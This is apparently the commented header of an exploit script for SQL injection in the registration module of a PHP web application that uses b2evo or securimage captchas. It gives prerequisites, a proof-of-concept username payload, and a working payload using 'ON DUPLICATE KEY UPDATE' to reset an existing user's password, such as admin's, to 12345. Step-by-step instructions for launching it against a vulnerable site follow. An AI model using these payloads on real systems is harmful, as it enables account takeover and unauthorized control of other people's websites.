#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#-----------------
#PRE-REQUIREMENTS
#-----------------
#
#Package --> allow.self.registration --> True (Default value)
#
#-------
#NEED:
#-------
#
#**valid username
#
#**real captcha code/img
#
#**maybe PHPSESSID (with securimage captcha plugin)
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#Register module (username option) is vuln to sql injection.
#
#Username --> Proof of concept','password','thisisthelanguage')%23
#
#Other parameters --> something
#
#
#---------------------------------------
#EXPLOIT (SQL INJECTION):
#---------------------------------------
#
#If you find a valid username, it can use --> "ON DUPLICATE KEY UPDATE 
column=value",
#
#this clause updates the previous row if a unique index is affected (username) 
and
#
#doesn't insert a new row. So (username=admin --> valid user):
#
#Username --> admin','any','any') ON DUPLICATE KEY UPDATE password=MD5(12345)%23
#
#Other parameters --> something
#
#If username=admin exists then, his password is changed to 12345!
#
#---------------------------------------
#INSTRUCTIONS:
#---------------------------------------
#
#Go to vuln web --> user register
#
#Copy the captcha image name/sid:
#
#For example --> b2evo_captcha_e24cf14f6a03283413dfb7133624a39e  --> Use the 
b2evo captcha!
#
#For example --> ead9c0aa4822c265b346c67390b7235d  --> Use the securimage 
captcha!
#
#Copy the captcha text. For example --> WEGKA
#
#Search a valid user. For example --> admin
#
#Choose a column. Possibilities: id,cid,email,username,password,language or 
active.
#
#Introduce a value for this column.
#
#If captcha uses securimage also you need PHPSESSID to exploit. 
#
#Launch the exploit!
#
#Note: If username isn't valid, ie, he doesn't exist then, a new invalid user 
is inserted.
